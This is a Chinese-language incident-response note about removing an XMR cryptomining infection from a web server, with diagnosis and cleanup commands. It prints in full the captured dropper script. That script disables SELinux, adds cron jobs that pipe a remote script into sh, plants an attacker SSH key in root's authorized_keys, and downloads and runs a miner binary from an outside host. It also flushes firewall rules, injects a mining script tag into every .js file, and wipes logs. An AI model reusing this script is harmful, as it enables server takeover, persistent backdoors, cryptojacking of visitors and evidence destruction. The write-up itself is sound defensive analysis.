1. 程式人生 > >XMR惡意挖礦指令碼處理筆記

XMR惡意挖礦指令碼處理筆記

一、登入

攻擊者如何登入系統未能查出,所有日誌已被清除。為防萬一,把系統中沒用的使用者都刪掉並修改其他使用者密碼。

二、被攻擊後的表象

1、伺服器資源被大量佔用,資源佔用率飆升;

2、伺服器所有JS檔案被篡改,向輸出頁面增加了一個script標籤(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)

3、網站無法載入,會出現瀏覽器卡死的情況

三、排查

1、訪問伺服器上執行的網站,從瀏覽器控制檯中發現不停訪問一個wss的地址(wss://xmr.omine.org:8181/),並且很慢。

2、通過百度搜索這個地址,可知此為XMR惡意挖礦指令碼。

3、遠端登入伺服器,輸入top命令,發現有zigw程序在執行,消耗大量資源,kill掉以後還會出現。

4、檢視系統任務計劃,發現定期同步惡意指令碼的計劃內容

1 # crontab -l

5、獲取其樣本檔案,然後刪除其任務計劃

1 # wget http://c.21-2n.com:43768/shz.sh
2 # crontab -r

6、檢視該樣本檔案,是一個shell指令碼,內容如下:

  1 #!/bin/sh
  2 
  3 setenforce 0 2>dev/null
  4 
  5 echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
  6 
  7 sync && echo 3 >/proc/sys/vm/drop_caches
  8 
  9 crondir='/var/spool/cron/'"$USER"
 10 
 11 cont=`cat ${crondir}`
 12 
 13 ssht=`cat /root/.ssh/authorized_keys`
 14 
 15 echo
1 > /etc/gmbpr2 16 17 rtdir="/etc/gmbpr2" 18 19 oddir="/etc/gmbpr" 20 21 bbdir="/usr/bin/curl" 22 23 bbdira="/usr/bin/url" 24 25 ccdir="/usr/bin/wget" 26 27 ccdira="/usr/bin/get" 28 29 mv /usr/bin/wget /usr/bin/get 30 31 mv /usr/bin/curl /usr/bin/url 32 33 if [ -f "$oddir" ] 34 35 then 36 37 pkill zjgw 38 39 chattr -i /etc/shz.sh 40 41 rm -f /etc/shz.sh 42 43 chattr -i /tmp/shz.sh 44 45 rm -f /tmp/shz.sh 46 47 chattr -i /etc/gmbpr 48 49 rm -f /etc/gmbpr 50 51 else 52 53 echo "ok" 54 55 fi 56 57 if [ -f "$rtdir" ] 58 59 then 60 61 echo "goto 1" >> /etc/gmbpr2 62 63 chattr -i $cont 64 65 if [ -f "$bbdir" ] 66 67 then 68 69 [[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} 70 71 else 72 73 [[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} 74 75 fi 76 77 mkdir /root/.ssh 78 79 [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ 80 81 [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys 82 83 [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys 84 85 [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd [email protected]_me" >> /root/.ssh/authorized_keys 86 87 ps -fe|grep zigw |grep -v grep 88 89 if [ $? -ne 0 ] 90 91 then 92 93 cd /etc 94 95 filesize=`ls -l zigw | awk '{ print $5 }'` 96 97 file="/etc/zigw" 98 99 if [ -f "$file" ] 100 101 then 102 103 if [ "$filesize" -ne "1467080" ] 104 105 then 106 107 chattr -i /etc/zigw 108 109 rm -f zigw 110 111 if [ -f "$bbdir" ] 112 113 then 114 115 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw 116 117 elif [ -f "$bbdira" ] 118 119 then 120 121 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw 122 123 elif [ -f "$ccdir" ] 124 125 then 126 127 wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw 128 129 elif [ -f "$ccdira" ] 130 131 then 132 133 get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw 134 135 fi 136 137 fi 138 139 else 140 141 if [ -f "$bbdir" ] 142 143 then 144 145 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw 146 147 elif [ -f "$bbdira" ] 148 149 then 150 151 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw 152 153 elif [ -f "$ccdir" ] 154 155 then 156 157 wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw 158 159 elif [ -f "$ccdira" ] 160 161 then 162 163 get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw 164 165 fi 166 167 fi 168 169 chmod 777 zigw 170 171 sleep 1s 172 173 ./zigw 174 175 else 176 177 echo "runing....." 178 179 fi 180 181 chmod 777 /etc/zigw 182 183 chattr +i /etc/zigw 184 185 chmod 777 /etc/shz.sh 186 187 chattr +i /etc/shz.sh 188 189 shdir='/etc/shz.sh' 190 191 if [ -f "$shdir" ] 192 193 then 194 195 echo "exists shell" 196 197 else 198 199 if [ -f "$bbdir" ] 200 201 then 202 203 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh 204 205 elif [ -f "$bbdira" ] 206 207 then 208 209 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh 210 211 elif [ -f "$ccdir" ] 212 213 then 214 215 wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh 216 217 elif [ -f "$ccdira" ] 218 219 then 220 221 get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh 222 223 fi 224 225 sh /etc/shz.sh 226 227 fi 228 229 else 230 231 echo "goto 1" > /tmp/gmbpr2 232 233 chattr -i $cont 234 235 if [ -f "$bbdir" ] 236 237 then 238 239 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir} 240 241 else 242 243 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir} 244 245 fi 246 247 ps -fe|grep zigw |grep -v grep 248 249 if [ $? -ne 0 ] 250 251 then 252 253 cd /tmp 254 255 filesize=`ls -l zigw | awk '{ print $5 }'` 256 257 file="/tmp/zigw" 258 259 if [ -f "$file" ] 260 261 then 262 263 if [ "$filesize" -ne "1467080" ] 264 265 then 266 267 chattr -i /tmp/zigw 268 269 rm -f zigw 270 271 if [ -f "$bbdir" ] 272 273 then 274 275 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw 276 277 elif [ -f "$bbdira" ] 278 279 then 280 281 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw 282 283 elif [ -f "$ccdir" ] 284 285 then 286 287 wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw 288 289 elif [ -f "$ccdira" ] 290 291 then 292 293 get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw 294 295 fi 296 297 fi 298 299 else 300 301 if [ -f "$bbdir" ] 302 303 then 304 305 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw 306 307 elif [ -f "$bbdira" ] 308 309 then 310 311 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw 312 313 elif [ -f "$ccdir" ] 314 315 then 316 317 wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw 318 319 elif [ -f "$ccdira" ] 320 321 then 322 323 get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw 324 325 fi 326 327 fi 328 329 chmod 777 zigw 330 331 sleep 1s 332 333 ./zigw 334 335 else 336 337 echo "runing....." 338 339 fi 340 341 chmod 777 /tmp/zigw 342 343 chattr +i /tmp/zigw 344 345 chmod 777 /tmp/shz.sh 346 347 chattr +i /tmp/shz.sh 348 349 shdir='/tmp/shz.sh' 350 351 if [ -f "$shdir" ] 352 353 then 354 355 echo "exists shell" 356 357 else 358 359 if [ -f "$bbdir" ] 360 361 then 362 363 curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh 364 365 elif [ -f "$bbdira" ] 366 367 then 368 369 url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh 370 371 elif [ -f "$ccdir" ] 372 373 then 374 375 wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh 376 377 elif [ -f "$ccdira" ] 378 379 then 380 381 get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh 382 383 fi 384 385 sh /tmp/shz.sh 386 387 fi 388 389 fi 390 391 iptables -F 392 393 iptables -X 394 395 iptables -A OUTPUT -p tcp --dport 3333 -j DROP 396 397 iptables -A OUTPUT -p tcp --dport 5555 -j DROP 398 399 iptables -A OUTPUT -p tcp --dport 7777 -j DROP 400 401 iptables -A OUTPUT -p tcp --dport 9999 -j DROP 402 403 iptables -A OUTPUT -p tcp --dport 14444 -j DROP 404 405 iptables-save 406 407 service iptables reload 408 409 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 410 411 netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 412 413 netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 414 415 netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 416 417 netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 418 419 netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 420 421 netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 422 423 netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 424 425 netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9 426 427 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\; 428 429 history -c 430 431 echo > /var/spool/mail/root 432 433 echo > /var/log/wtmp 434 435 echo > /var/log/secure 436 437 echo > /root/.bash_history 438 439 echo > /var/spool/mail/root

7、閱讀指令碼內容,發現可能會在/etc或/tmp下建立shz.sh和zigw檔案,並設定了特殊許可權,此次發現是在/etc中;同時會建立ssh免密登入的金鑰。殺掉程序、修改許可權並刪除該檔案。

1 # rm -rf ~/.ssh
2 #
3 # ps -aux | grep zigw
4 # kill -9 <程序號>
5 # ps -aux | grep shz
6 # kill -9 <程序號>
7 # 
8 # chattr -i /etc/shz.sh /etc/zigw
9 # rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2

8、檢視任務計劃的配置檔案,並刪除相應內容

1 # ls -alh /etc/cron.d/
2 # rm -f /etc/cron.d/root

9、恢復伺服器中的js檔案(其中grep的引數為小寫的L)

1 # find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d' 

10、因此惡意指令碼中刪除了所有防火牆規則,影響到docker容器的網路功能,即容器中無法訪問網路,導致其中執行的網站無法訪問資料庫,經過查閱資料和研究,認為需要重建docker網路,但累了一天,懶得弄了,正好系統更新中包含了docker,更新後恢復正常,得出結論:比較簡單的解決方法就是更新或重灌(好像重建docker網路也不難)。

比較有疑問的是,看了指令碼中是用iptables操作的,但我的伺服器中採用的是firewall,沒想明白為何會產生影響。